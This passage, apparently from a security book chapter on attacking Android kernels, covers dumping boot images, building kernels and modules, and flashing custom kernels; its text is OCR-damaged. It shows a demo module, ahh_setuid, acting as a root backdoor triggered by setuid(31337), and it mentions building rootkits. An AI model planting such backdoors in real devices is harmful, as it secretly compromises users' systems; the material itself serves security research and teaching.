partition. Now you are ready to dump the partition data and pull it down from your device. Note that dumping an image from the device includes the entire partition contents including unused areas. Boot images extracted from a stock f rmware package only includes the data that is necessary. As such dumped binaries will be bigger sometimes signif cantly than the factory boot.img. To dump a partition use the dd command as shown here: rootandroid:/data/local/tmp/kernel dd \ if/dev/block/platform/omap/omap_hsmmc.0/by-name/boot ofcur-boot.img 16384+0 records in 16384+0 records out 8388608 bytes transferred in 1.635 secs 5130647 bytes/sec

slide 347:

Chapter 10 ■ Hacking and Attacking the Kernel 315 c10.indd 11:11:6:AM 02/25/2014 Page 315 rootandroid:/data/local/tmp/kernel chmod 644 .img rootandroid:/data/local/tmp/kernel After dumping an image of the boot partition to the cur-boot.img f le use chmod to allow the Android Debug Bridge ADB user to pull the images from the device. You then pull the images down to your development machine using ADB as follows: dev:/android/src/kernel/omap mkdir staging cd _ dev:/android/src/kernel/omap/staging adb pull \ /data/local/tmp/kernel/cur-boot.img 2379 KB/s 8388608 bytes in 3.442s The f nal step is extracting the kernel from the obtained boot image. Getting the Kernel from a Boot Image Recall that Android devices typically have two different modes where they will boot a Linux kernel. The f rst mode is the normal boot process which uses the boot partition. The second mode is for the recovery process which uses the recovery partition. The underlying f le structure for both of these partitions is identical. They both contain a short header a compressed kernel and an initial ramdisk initrd image. The compressed kernel used during normal boots is the most security critical and thus is the most interesting to obtain. Internally the boot.img and recovery.img f les are composed of three pieces. The f le begins with a header used to identify the f le format and provide basic information about the rest of the f le. For more information about the structure of this header consult the system/core/mkbootimg/bootimg.h f le within the AOSP repository. The page_size entry in this structure is rather important because the kernel and initrd images will be aligned on block boundaries of this size. The compressed kernel is located on the next block boundary immediately following the header. Its size is stored in the kernel_size member of the header structure. At the next block boundary the initrd image begins. Extracting these pieces manually can be quite tedious. The mkbootimg utility from the AOSP is used when building full system images from source but it does not support extracting images. To extract images the abootimg tool was created based on mkbootimg. It works quite well for unpacking the image f le as shown here: dev:/android/n5/hammerhead-krt16m/img mkdir boot cd _ dev:/android/n5/hammerhead-krt16m/img/boot abootimg -x ../boot.img writing boot image config in bootimg.cfg extracting kernel in zImage extracting ramdisk in initrd.img Now you have the zImage f le that you’re after.

slide 348:

316 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 316 Decompressing the Kernel Doing further analysis on a kernel binary requires decompressing it. The Linux kernel supports three different compression algorithms: gzip lzma and lzo. By and large a majority of Android device kernels are compressed using the traditional gzip algorithm. The Linux kernel contains a script called scripts/ extract-vmlinux which unfortunately doesn’t work on Android kernels. As such you must decompress the kernel manually. Thankfully the binwalk tool makes this process much easier: dev:/android/n5/hammerhead-krt16m/img/boot binwalk zImage | head ... 18612 0x48B4 gzip compressed data from Unix NULL date: Wed Dec 31 18:00:00 1969 max compression ... dev:/android/n5/hammerhead-krt16m/img/boot dd ifzImage bs18612 \ skip1 | gzip -cd piggy The second command above pipes the output from dd to the gzip command which gives you the uncompressed kernel binary image. With this image in hand you can extract details from it or analyze the code in IDA Pro. Later sections of this chapter discuss how to extract specif c information from uncompressed kernel binaries. Running Custom Kernel Code When hacking and attacking the kernel it is tremendously useful to be able to introduce new code. You can use custom kernel modules to instrument the kernel to monitor existing behavior. Changing the kernel conf guration allows enabling powerful features like remote debugging. In any case changing the kernel’s code without an exploit requires using the Android and Linux kernel tools to compile the new code. This section walks through the process of obtain- ing the kernel source code setting up the build environment conf guring the kernel building custom modules and kernels and loading your new code onto both AOSP-based and OEM-provided Android devices. This chapter provides relevant examples using an AOSP-based Galaxy Nexus and the Sprint Samsung Galaxy S III. Obtaining Source Code Before you can build custom modules or a kernel for your device you must obtain the source code. The method for obtaining the code varies depending

slide 349:

Chapter 10 ■ Hacking and Attacking the Kernel 317 c10.indd 11:11:6:AM 02/25/2014 Page 317 on who is responsible for the kernel for a particular device. Google hosts kernel Git repositories for AOSP-supported Nexus devices. On the other hand OEMs use various methods to distribute their kernel source. Because the Linux kernel is distributed under version 2 of the GNU Public License GPL vendors are legally obligated to release their source code including customizations. NOTE When unable to locate the kernel source code contact the vendor directly and request that the source be made available. If needed remind them of their legal obligation to do so in compliance with the Linux kernel’s GPL license. In most cases obtaining the kernel source for a particular device is straight- forward. However in some cases it is not possible. On several occasions both OEMs and Google have been slow to provide kernel source for newer devices. Generally patience pays off as few devices remain without kernel source avail- ability indef nitely. Getting AOSP Kernel Source Google’s Nexus line of Android devices represents the company’s reference implementation primarily intended for use by developers. Source code is available for nearly every component in the system. The kernel is no exception. As such getting source code for Nexus devices is fairly straightforward. Figuring out exactly which kernel source a device uses is easy but it isn’t a one-step process. Within AOSP there are two specif c places to f nd kernel-related information. The f rst contains information about a particular support device or closely related family of devices. The second contains several different kernel source trees. This section covers how to leverage these places to get the exact kernel source needed for the remainder of the chapter which uses a Galaxy Nexus running Android 4.2.2 for illustrative purposes. Google hosts device-specif c repositories in the device directory in the AOSP tree. These repositories include things such as Makefiles overlays header f les conf guration f les and a kernel binary named kernel. This f le is particularly interesting as its history tracks which sources were used to build it. Google provides information about these repositories in the AOSP documentation at http://source.android.com/source/building-kernels.html. Commit infor- mation for the kernel f le in these repositories as well as the documentation tends to lag behind the release of new devices. As such these repositories are typically only useful for mapping a particular device to its SoC tree. Figure 10-1 provides a mapping of several AOSP-supported devices to their SoC and thus its kernel source repository.

slide 350:

318 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 318 Nexus 7 2013 Wi-Fi Nexus 7 2013 Mobile Nexus 10 Nexus 4 Nexus 7 2012 Wi-Fi Nexus 7 2012 Mobile Galaxy Nexus Galaxy Nexus CDMA/LTE Nexus S Nexus S 4G Pandaboard Motorola Xoom Verizon Motorola Xoom Wi-Fi MSM MSM Exynos 5 MSM Tegra Tegra OMAP OMAP Exynos 3 Exynos 3 OMAP Tegra Tegra Model SoC Figure 10-1: Mapping of AOSP devices to SoC As mentioned in Chapter 3 it is usually possible to determine the SoC used by a device from entries under the /dev/block/platform directory. shellandroid:/dev/block/platform ls omap After you determine the SoC manufacturer you can obtain the kernel source from Google using Git. AOSP contains one Git repository for each supported SoC. Figure 10-2 shows the repository name for each Google-hosted SoC kernel tree. MSM Exynos 5 Tegra OMAP Exynos 3 Emulator msm exynos tegra omap samsung goldfish SoC Kernel Name Figure 10-2: Kernel names for each SoC From the Figure 10-1 you can see that the target device is based on the OMAP SoC. The following excerpt shows the commands needed to clone the corre- sponding kernel source. dev:/android/src mkdir kernel cd _ dev:/android/src/kernel git clone \ https://android.googlesource.com/kernel/omap.git Cloning into omap... remote: Counting objects: 41264 done remote: Finding sources: 100 39/39 remote: Getting sizes: 100 24/24

slide 351:

Chapter 10 ■ Hacking and Attacking the Kernel 319 c10.indd 11:11:6:AM 02/25/2014 Page 319 remote: Compressing objects: 100 24/24 Receiving objects: 100 2117273/2117273 441.45 MiB | 1.79 MiB/s done remote: Total 2117273 delta 1769060 reused 2117249 delta 1769054 Resolving deltas: 100 1769107/1769107 done. After the clone operation completes you have a repository on the master branch. However notice that there are no f les in the working copy. dev:/android/src/kernel cd omap dev:/android/src/kernel/omap ls dev:/android/src/kernel/omap The master branch of AOSP kernel trees is kept empty. In a Git repository the .git directory contains everything necessary to create a working copy from any point in development history. Checking out the master branch is a nice shortcut to delete all f les that are already tracked thereby freeing up storage space. The f nal step in obtaining the kernel source for an AOSP-supported device involves checking out the correct commit. As stated previously the commit logs for the kernel f le in the device directory often lag behind live kernels. To solve this problem you can use the version string extracted from /proc/ver- sion or a decompressed kernel image. The following ADB shell session excerpt demonstrates the process on the reference device. shellandroid:/ cat /proc/version Linux version 3.0.31-g9f818de android-buildvpbs1.mtv.corp.google.com gcc version 4.6.x-google 20120106 prerelease GCC 1 SMP PREEMPT Wed Nov 28 11:20:29 PST 2012 In this excerpt the relevant detail is the seven-digit hex value following 3.0.31-g in the kernel version: 9f818de. Using this value you are able to check out the exact commit needed. dev:/android/src/kernel/omap git checkout 9f818de HEAD is now at 9f818de... mm: Hold a file reference in madvise_remove At this point you have successfully checked out a working copy of the kernel source for the target device. This working copy is used throughout the rest of this chapter. Getting OEM Kernel Source Obtaining source code for OEM devices varies from one manufacturer to another. OEMs rarely provide access to kernel source via source control Git or otherwise. Instead most vendors have an open source portal where you can download source code. For further information on how various OEMs release source code refer to Appendix B. After you’ve located the specif c OEM portal the typical process is to search for the model number of the target device. This usually results in a downloadable archive containing the kernel source and directions

slide 352:

320 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 320 for building it. Because the process varies so much from OEM to OEM this chapter doesn’t dive into more detail here. However the chapter does cover the process further when it walks you through building a kernel for an OEM device in the “Building a Custom Kernel” section later in this chapter. Setting Up a Build Environment Building custom kernel modules or kernel binaries requires a proper build environment. Such an environment consists of an ARM compiler toolchain and various other build tools such as GNU make. As discussed previously in Chapter 7 there are several compiler toolchains available. The compiler used for a particular device is sometimes documented by the OEM in a text f le included with the kernel source archive. Depending on which toolchain is used the exact process of setting up the build environment varies. In this chapter you use various versions of the AOSP prebuilt toolchain. Using other toolchains is out of scope so refer to the documentation for those toolchains if you choose to use them. There are only a couple steps to initializing the kernel build environment after which a working compiler and related tools will be available. The f rst step for setting up the kernel build environment based on the AOSP prebuilt toolchain is the same as covered in Chapter 7. This example uses the Android 4.3 version but the steps are the same regardless of which version is used. dev:/android/src . build/envsetup.sh including device/samsung/maguro/vendorsetup.sh including sdk/bash_completion/adb.bash dev:/android/src lunch full_maguro-userdebug PLATFORM_VERSION_CODENAMEREL PLATFORM_VERSION4.3 TARGET_PRODUCTfull_maguro TARGET_BUILD_VARIANTuserdebug TARGET_BUILD_TYPErelease TARGET_BUILD_APPS TARGET_ARCHarm TARGET_ARCH_VARIANTarmv7-a-neon TARGET_CPU_VARIANTcortex-a9 HOST_ARCHx86 HOST_OSlinux HOST_OS_EXTRALinux-3.2.0-52-generic-x86_64-with-Ubuntu-12.04-precise HOST_BUILD_TYPErelease BUILD_IDJWR66Y

slide 353:

Chapter 10 ■ Hacking and Attacking the Kernel 321 c10.indd 11:11:6:AM 02/25/2014 Page 321 OUT_DIRout dev:/android/src At this point you have a compiler toolchain in your path already. You can conf rm by querying the version of the compiler. dev:/android/src arm-eabi-gcc --version arm-eabi-gcc GCC 4.7 Copyright C 2012 Free Software Foundation Inc. ... Building a kernel requires an extra step beyond the usual build environment setup steps. Specif cally you need to set a few environment variables used by the kernel build system. These inform the kernel about your toolchain. dev:/android/src cd kernel/omap/ dev:/android/src/kernel/omap export CROSS_COMPILEarm-eabi- dev:/android/src/kernel/omap export SUBARCHarm dev:/android/src/kernel/omap export ARCHarm dev:/android/src/kernel/omap NOTE When building the kernel take care to use the arm-eabi compiler instead of the arm-linux-androideabi compiler. Using the incorrect embedded applica- tion binary interface EABI causes build failures. After setting these variables your environment is fully initialized and you are ready to move toward building your custom modules or kernel. The f nal step before building kernel components is conf guring the kernel. Confi guring the Kernel The Linux kernel contains support for many architectures hardware components and so on. In order to support building a single image containing everything necessary for any particular combination of settings the Linux kernel has an extensive conf guration subsystem. In fact it even provides several different user interfaces including Qt-based graphical user interface GUI make xcon- fig text-based menu make menuconfig and question and answer interfaces make config. The Android developer website documents the required and recommended conf guration options for the Linux kernel at http://source. android.com/devices/tech/kernel.html. Another option which is the most commonly used for building Android ker- nels allows specifying a conf guration template called a defconf g. The templates for this option are stored in the arch/arm/configs directory in the kernel source.

slide 354:

322 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 322 Each Android device has a corresponding template that is used to build its ker- nel. The following example conf gures the kernel to build for the Galaxy Nexus: dev:/android/src/kernel/omap make tuna_defconfig HOSTCC scripts/basic/fixdep HOSTCC scripts/kconfig/conf.o SHIPPED scripts/kconfig/zconf.tab.c SHIPPED scripts/kconfig/lex.zconf.c SHIPPED scripts/kconfig/zconf.hash.c HOSTCC scripts/kconfig/zconf.tab.o HOSTLD scripts/kconfig/conf configuration written to .config In the preceding excerpt the kernel build system f rst builds the dependen- cies for processing the conf guration template. Finally it reads the template and writes out the .config f le. All the different conf guration methods ultimately result in the creation of this f le. Although you can edit this f le directly it’s recommended that you edit the template instead. In some rare cases the kernel conf guration in the AOSP tree does not match the actual conf guration used for a device’s live kernel. For example the Nexus 4’s kernel shipped with CONFIG_MODULES disabled but the AOSP mako_defconfig had CONFIG_MODULES enabled. If the kernel was compiled with the CONFIG_IKCONFIG option one can extract the conf guration from an uncompressed kernel using the extract-ikconfig using the scripts directory of the Linux kernel. Further the conf guration is often available in compressed form from /proc/config.gz on a booted device. Unfortunately it’s non-trivial to determine the exact kernel conf guration parameters without this conf guration option. With the build environment set up and the kernel conf gured you are ready to build your custom modules or kernel. Using Custom Kernel Modules Loadable kernel modules LKMs are a convenient way to extend the Linux kernel without recompiling the whole thing. For one modifying the kernel’s code and/or data is a necessity in creating rootkits. Further executing code in kernel-space gives access to privileged interfaces such as TrustZone. Using a fairly simple LKM this section introduces some of the facilities the kernel provides. You don’t compile kernel modules for an Android device in the usual way. Usually you compile kernel modules for Linux systems using headers located in a version specif c directory under /lib/modules. The reason for this is that

slide 355:

Chapter 10 ■ Hacking and Attacking the Kernel 323 c10.indd 11:11:6:AM 02/25/2014 Page 323 kernel modules have to be compatible with the kernel they are loaded into. Android devices do not contain such a directory and no such package is avail- able for them. Thankfully the kernel source f lls this gap. The previous sections described checking out a copy of the kernel source for a Galaxy Nexus running Android 4.2.2 setting up the build environment and conf guring the kernel. Using this environment you can quickly and easily put together a simple “Hello World” LKM. To track your changes separately create a new branch from the exact version of the source being used by the device: dev:/android/src/kernel/omap git checkout 9f818de -b ahh_modules Checking out files: 100 37662/37662 done. Switched to a new branch ahh_modules With the branch created extract the kernel modules included with this chap- ter’s accompanying materials. dev:/android/src/kernel/omap tar zxf /ahh/chapter10/ahh_modules.tgz dev:/android/src/kernel/omap This creates two new directories each containing one module in the drivers directory in the Linux kernel source. The following is an excerpt from the source to the “Hello World” module: int init_modulevoid printkKERN_INFO "s: HELLO WORLD\n" __this_module.name / force an error so we dont stay loaded / return -1 Similar to building on other Linux distributions it’s not necessary to build the entire kernel prior to compiling modules. Only a few things are needed to get the kernel build environment ready to build modules. The following excerpt shows the necessary commands: dev:/android/src/kernel/omap make prepare modules_prepare scripts/kconfig/conf --silentoldconfig Kconfig CHK include/linux/version.h UPD include/linux/version.h ... HOSTCC scripts/kallsyms This command is the extent of what is strictly required. It builds the neces- sary scripts and header f les needed for building modules.

slide 356:

324 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 324 Using the command line from within the “Hello World” LKM’s source com- pile the module. Here’s the output from the commands: dev:/android/src/kernel/omap make ARCHarm CONFIG_AHH_HELLOWORLDm \ Mdrivers/ahh_helloworld WARNING: Symbol version dump /android/src/kernel/omap/Module.symvers is missing modules will have no dependencies and modversions. ... LD M drivers/ahh_helloworld/ahh_helloworld_mod.ko A warning was printed during the build but the build completed successfully. If you don’t have a need for dependencies or module versioning then there’s nothing to f x. If you simply don’t like seeing nasty warnings or you need those facilities building the kernel’s modules f xes the issue: dev:/android/src/kernel/omap make modules CHK include/linux/version.h CHK include/generated/utsrelease.h ... LD M drivers/scsi/scsi_wait_scan.ko With the “Hello World” module compiled you are ready to push it to the device and insert it into the running kernel: dev:/android/src/kernel/omap adb push \ drivers/ahh_helloworld/ahh_helloworld_mod.ko /data/local/tmp 788 KB/s 32557 bytes in 0.040s dev:/android/src/kernel/omap adb shell shellandroid:/data/local/tmp su rootandroid:/data/local/tmp insmod ahh_helloworld_mod.ko Push the module and open a shell using ADB. Using root privileges insert the module using the insmod command. The kernel starts to load the module and executes the init_module function. Inspecting the kernel ring buffer using the dmesg command you see the following. rootandroid:/data/local/tmp dmesg | ./busybox tail -1 674062.026855 ahh_helloworld_mod: HELLO WORLD rootandroid:/data/local/tmp The second included kernel module is a more advanced example kernel module called ahh_setuid. Using a simple instrumentation technique this module creates a backdoor that gives root privileges to any program that calls the setuid system call with the desired user ID of 31337. The process for build- ing and installing it is the same as before: dev:/android/src/kernel/omap make ARCHarm CONFIG_AHH_SETUIDm \ Mdrivers/ahh_setuid

slide 357:

Chapter 10 ■ Hacking and Attacking the Kernel 325 c10.indd 11:11:6:AM 02/25/2014 Page 325 ... LD M drivers/ahh_setuid/ahh_setuid_mod.ko dev:/android/src/kernel/omap adb push drivers/ahh_setuid/ahh_setuid_mod.ko \ /data/local/tmp 648 KB/s 26105 bytes in 0.039s dev:/android/src/kernel/omap adb shell shellandroid:/data/local/tmp su rootandroid:/data/local/tmp insmod ahh_setuid_mod.ko insmod: init_module ahh_setuid_mod.ko failed Operation not permitted shellandroid:/data/local/tmp exit shellandroid:/data/local/tmp id uid2000shell gid2000shell groups1003graphics1004input... shellandroid:/data/local/tmp ./setuid 31337 shellandroid:/data/local/tmp id uid0root gid0root One thing that stands out in the preceding excerpt is the error message printed when you run insmod. The kernel prints this error because the init_module function returned -1. This causes the kernel to automatically unload the mod- ule alleviating the need to unload the module before inserting it again. After relinquishing root privileges passing 31337 to the setuid system call yields root again. Even though loadable kernel modules are a convenient way to extend a run- ning kernel or perhaps because of this fact some Android devices are not compiled with loadable module support. You can determine if a running kernel supports loadable modules by checking for the modules entry in the proc f le system or looking for the value of CONFIG_MODULES in the kernel conf guration. During the release of Android 4.3 Google disabled loadable module support for all supported Nexus devices. Building a Custom Kernel Although the Linux kernel contains myriad facilities for conf guring and extend- ing its functionality at runtime some changes simply require building a custom kernel. For example some conf guration changes such as enabling debugging facilities cause entire f les or functions to be included at compile time. This chapter has already explained obtaining source code setting up a build environment and conf guring the kernel. This section walks you through the remainder of the process building the kernel source code for the AOSP-based Galaxy Nexus and the Galaxy S III manufactured by Samsung. AOSP-Supported Devices Earlier in this chapter you obtained the proper source code set up the build environment and conf gured the kernel for your Galaxy Nexus running

slide 358:

326 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 326 Android 4.2.2. There’s only one step in the process of building a custom kernel. To complete the process you compile the kernel using the default make target as shown here: dev:/android/src/kernel/omap make ... Kernel: arch/arm/boot/zImage is ready dev:/android/src/kernel/omap When a build completes successfully the kernel build system writes the compiled kernel image to the zImage f le in the arch/arm/boot directory. If errors occur they must be resolved before the build will complete successfully. Once the build is successful booting the newly created kernel is covered in the “Creating a Boot Image” and “Booting a Custom Kernel” sections that follow. NOTE The process of building a custom kernel should be identical for all AOSP- supported devices including all devices in the Nexus family. An OEM Device Building a kernel for an OEM device is very similar to building one for an AOSP device. This makes a lot of sense when remembering that OEMs make their f rmware builds from their modif ed version of the AOSP code. As with any OEM device–related tasks the specif cs vary from one vendor to the next. This section explains how to build and test a custom kernel for the Sprint version of the Samsung Galaxy S III SPH-L710. The goal is to produce a kernel that is compatible with the device’s existing kernel. The f rst thing you need to determine when building the kernel is which source to use. Exactly how you accomplish this varies from one device to the next. If you are lucky the kernel version string references a commit hash from one of the AOSP Git repositories. This is especially true for older devices which used kernels built and supplied by Google. The Motorola Droid that’s used in one of the “Case Studies” sub-sections later in this chapter is one such device. Check the device’s kernel version using this command: shellandroid:/ cat /proc/version Linux version 3.0.31-1130792 se.infraSEP-132 gcc version 4.6.x- google 20120106 prerelease GCC 2 SMP PREEMPT Mon Apr 15 19:05:47 KST 2013 Unfortunately the Galaxy S III does not include a commit hash in its version string. As such you need to take an alternative approach.

slide 359:

Chapter 10 ■ Hacking and Attacking the Kernel 327 c10.indd 11:11:6:AM 02/25/2014 Page 327 Another approach involves obtaining the OEM-provided version of the kernel source tree. Start by inspecting the build f ngerprint for the device: shellandroid:/ getprop ro.build.fingerprint samsung/d2spr/d2spr:4.1.2/JZO54K/L710VPBMD4:user/release-keys The Compatibility Def nition Document CDD explains that this system property is composed of the following f elds. The following text was slightly modif ed for formatting. BRAND/PRODUCT/DEVICE:RELEASE/ID/INCREMENTAL:TYPE/ TAGS The specif c f elds of interest are in the second grouping. They are the RELEASE ID and INCREMENTAL values. The f rst f eld you need to pay attention to is the INCREMENTAL f eld. Many vendors including Samsung use the INCREMENTAL f eld as their own custom version number. From the output you know Samsung identif es this f rmware as version L710VPBMD4. Armed with the device model number SPH-L710 according to ro.product. model for this device and Samsung’s version identif er you are able to search Samsung’s open source portal. When you search for the model number you see a download with the version MD4 in the results. Download the corresponding archive and extract the Kernel.tar.gz and README_Kernel.txt f les: dev:/sph-l710 unzip SPH-L710_NA_JB_Opensource.zip Kernel.tar.gz \ README_Kernel.txt Archive: SPH-L710_NA_JB_Opensource.zip inflating: Kernel.tar.gz inflating: README_Kernel.txt dev:/sph-l710 mkdir kernel dev:/sph-l710 tar zxf Kernel.tar.gz -C kernel ... With the relevant f les extracted the next step is to read the README_Kernel. txt f le. This f le contains instructions including which toolchain and build conf guration to use. The README_Kernel.txt f le included in the archive says to use the arm-eabi-4.4.3 toolchain along with the m2_spr_defconfig build conf guration. Something is f shy though. The kernel version string that the toolchain used to build the running kernel identif ed itself as “gcc version 4.6.x-google 20120106 prerelease.” The kernel version string is more authorita- tive than README_Kernel.txt so keep this in mind. The next step in the process is to set up the build environment. The README_ Kernel.txt f le suggests that using the toolchain from AOSP should work. To

slide 360:

328 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 328 be safe and avoid potential pitfalls try to match the build environment of the device as much as possible. Here is where the RELEASE and ID f elds from the build f ngerprint become relevant. From the output these are set to 4.1.2 and JZO54K for the target device. To f nd out exactly which tag to use consult the “Codenames Tags and Build Numbers” page in the Android documentation at http://source.android.com/source/build-numbers.html. Looking up JZO54K you see that it corresponds to the android-4.1.2_r1 tag. Using this initialize the AOSP repository accordingly as follows: dev:/sph-l710 mkdir aosp cd _ dev:/sph-l710/aosp repo init -u \ https://android.googlesource.com/a/platform/manifest -b android-4.1.2_r1 dev:/sph-l710/aosp repo sync ... After checking out the correct AOSP revision you are almost ready to start building the kernel. But f rst you need to f nish re-initializing the kernel build environment as shown here: dev:/sph-l710/aosp . build/envsetup.sh ... dev:/sph-l710/aosp lunch full-user PLATFORM_VERSION_CODENAMEREL PLATFORM_VERSION4.1.2 TARGET_PRODUCTfull TARGET_BUILD_VARIANTuser TARGET_BUILD_TYPErelease TARGET_BUILD_APPS TARGET_ARCHarm TARGET_ARCH_VARIANTarmv7-a HOST_ARCHx86 HOST_OSlinux HOST_OS_EXTRALinux-3.2.0-54-generic-x86_64-with-Ubuntu-12.04-precise HOST_BUILD_TYPErelease BUILD_IDJZO54K OUT_DIRout dev:/sph-l710/aosp export ARCHarm dev:/sph-l710/aosp export SUBARCHarm dev:/sph-l710/aosp export CROSS_COMPILEarm-eabi- This brings the AOSP prebuilt toolchain into your environment. Unlike your Galaxy Nexus kernel build you use the full-user build conf guration. Also

slide 361:

Chapter 10 ■ Hacking and Attacking the Kernel 329 c10.indd 11:11:6:AM 02/25/2014 Page 329 you set the CROSS_COMPILE environment variable instead of editing the Makefile as the README_Kernel.txt instructs. Query the compiler’s version: dev:/sph-l710/aosp arm-eabi-gcc --version arm-eabi-gcc GCC 4.6.x-google 20120106 prerelease ... Excellent This exactly matches the compiler version from the running ker- nel’s version string Using this toolchain should theoretically generate a nearly identical kernel. It should at the very least be compatible. Using further information from the README_Kernel.txt f le proceed to con- f gure and build the kernel: dev:/sph-l710/aosp cd /sph-l710/kernel dev:/sph-l710/kernel make m2_spr_defconfig ... configuration written to .config dev:/sph-l710/kernel make ... Kernel: arch/arm/boot/zImage is ready If everything goes according to plan the kernel builds successfully and the compressed image is available as arch/arm/boot/zImage. In information secu- rity things rarely go according to plan. While building this kernel you might run into one particular issue. Specif cally you might be met with the following error message. LZO arch/arm/boot/compressed/piggy.lzo /bin/sh: 1: lzop: not found make2: arch/arm/boot/compressed/piggy.lzo Error 1 make1: arch/arm/boot/compressed/vmlinux Error 2 make: zImage Error 2 This occurs when the build system is missing the lzop command. Samsung compresses its kernel with the LZO algorithm which prefers speed over minimal storage space usage. After installing this dependency rerun the make command and the build should complete successfully. Creating a Boot Image Recall that Android devices typically have two different modes where they boot a Linux kernel. The f rst mode is the normal boot process which uses the boot partition. The second mode is during the recovery process which uses

slide 362:

330 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 330 the recovery partition. The underlying f le structure for both of these parti- tions is identical. They both contain a short header a compressed kernel and an initial ramdisk initrd image. Usually the same kernel is used for both but not always. In order to replace the kernel used in these modes it is necessary to re-create the partition image to include your new kernel. This section focuses on the boot.img. Creating a boot image with your freshly built custom kernel is easiest when basing it off an existing boot image. The f rst step is obtaining such an image. Although using a boot image from a stock f rmware image usually works using the image directly from the device is safer. Because a device’s kernel might have been updated by an OTA update or otherwise using an image obtained directly from the device is sure to start with something that is working. To obtain the image from the device follow the steps outlined in the “Extracting from Devices” section earlier in this chapter. The next step is to extract the obtained boot image. Follow the steps outlined in the “Getting the Kernel from a Boot Image” section. This leaves you with the bootimg.cfg zImage and initrd.img f les. NOTE Although the unpacking and repacking process is usually done on the machine used for running ADB it could just as well be performed entirely on a rooted device. Similar to how you extract a kernel you use the abootimg tool to create the boot image. For this purpose abootimg supports two use cases: updating and creating. Updating is useful when the original boot image need not be saved and is accomplished as follows. dev:/android/src/kernel/omap/staging abootimg -u cur-boot.img \ -k ../arch/arm/boot/zImage reading kernel from ../arch/arm/boot/zImage Writing Boot Image cur-boot.img This excerpt shows how you can use abootimg’s convenient -u option to update the boot image replacing the kernel with your own. Alternatively you can use the --create option to assemble a boot image from a kernel initrd and an optional secondary stage. In cases where the kernel or initrd have grown the abootimg command produces an error message like the following: dev:/android/src/kernel/omap/staging abootimg --create new-boot.img -f \ bootimg.cfg -k bigger-zImage -r initrd.img reading config file bootimg.cfg reading kernel from bigger-zImage reading ramdisk from initrd.img new-boot.img: updated is too big for the Boot Image 4534272 vs 4505600 bytes

slide 363:

Chapter 10 ■ Hacking and Attacking the Kernel 331 c10.indd 11:11:6:AM 02/25/2014 Page 331 To overcome this error simply pass the -c option as shown in the following excerpt or update the bootsize parameter within the bootimg.cfg used by abootimg. dev:/android/src/kernel/omap/staging abootimg --create new-boot.img -f \ bootimg.cfg -k bigger-zImage -r initrd.img -c "bootsize4534272" reading config file bootimg.cfg reading kernel from bigger-zImage reading ramdisk from initrd.img Writing Boot Image new-boot.img For the Samsung Galaxy S III the process is nearly identical. As was done for with the Nexus device obtain the existing boot image from the device or a factory image. This time download the KIES_HOME_L710VPBMD4_L710SPRBMD4_1130792_ REV03_user_low_ship.tar.md5 factory image by searching the SamFirmware website for the device’s model number. This should be the same image you used to upgrade your device. Extract the f rmware image and boot image inside as shown in the following excerpt: dev:/sgs3-md4 mkdir stock dev:/sgs3-md4 tar xf KIESMD4.tar.md5 -C stock dev:/sgs3-md4 mkdir boot cd _ dev:/sgs3-md4/boot abootimg -x ../stock/boot.img writing boot image config in bootimg.cfg extracting kernel in zImage extracting ramdisk in initrd.img With the stock boot.img extracted you have everything you need to build a custom boot image. Use abootimg to do: dev:/sgs3-md4/boot mkdir ../staging dev:/sgs3-md4/boot abootimg --create ../staging/boot.img -f bootimg.cfg \ -k /sph-l710/kernel/arch/arm/boot/zImage -r initrd.img reading config file bootimg.cfg reading kernel from /home/dev/sph-l710/kernel/arch/arm/boot/zImage reading ramdisk from initrd.img Writing Boot Image ../staging/boot.img Booting a Custom Kernel After a successful build the kernel build system writes the kernel image to arch/ arm/boot/zImage. You can boot this newly built kernel on a device in several ways. As with many other things on Android which methods apply depend on the particular device. This section covers four methods: two that use the fastboot protocol one that uses an OEM proprietary download protocol and one that is done on the device itself.

slide 364:

332 Chapter 10 ■ Hacking and Attacking the Kernel c10.indd 11:11:6:AM 02/25/2014 Page 332 Using Fastboot Booting this newly built kernel using fastboot for example on an AOSP- supported device can be accomplished one of two ways. You can either boot the boot.img straight away or write it to the boot partition for the device. The f rst method is ideal because recovering from failure is as easy as rebooting the device. However this method may not be supported by all devices. The second method is more persistent and is preferred when the device may need to be rebooted many times. Unfortunately both methods require unlocking the device’s boot loader. In either case you must reboot the device into fastboot mode as shown here: dev:/android/src/kernel/omap/staging adb reboot bootloader After this command is executed the reference device reboots into the boot loader and enables fastboot mode by default. In this mode the device displays an opened Bugdroid and the text “FASTBOOT MODE” on the screen. WARNING Unlocking the boot loader often void’s a device’s warranty. Take extreme care to do everything correctly because a misstep could render your device permanently unusable. The f rst method which uses the boot command from the fastboot utility allows directly booting the newly created boot.img. This method is nearly identical to how you booted a custom recovery in Chapter 3. The only differ- ence is that you’re booting a boot.img instead of a recovery.img. Here are the relevant commands: dev:/android/src/kernel/omap/staging fastboot boot new-boot.img .. device boots .. dev:/android/src/kernel/omap/staging adb wait-for-device shell cat \ /proc/version Linux version 3.0.31-g9f818de-dirty jdrakedev gcc version 4.7 GCC ... After rebooting to the boot loader and using fastboot boot to boot the boot. img you shell in and conf rm that the modif ed kernel is running. The second more permanent method uses fastboot flash to write the newly created boot.img to the device’s boot partition. Here are the commands to carry out this method: dev:0:/android/src/kernel/omap/staging fastboot flash boot new-boot.img boot new-boot.img sending boot 4428 KB... OKAY 1.679s writing boot... OKAY 1.121s finished. total time: 2.800s dev:0:/android/src/kernel/omap/staging fastboot reboot rebooting...

slide 365:

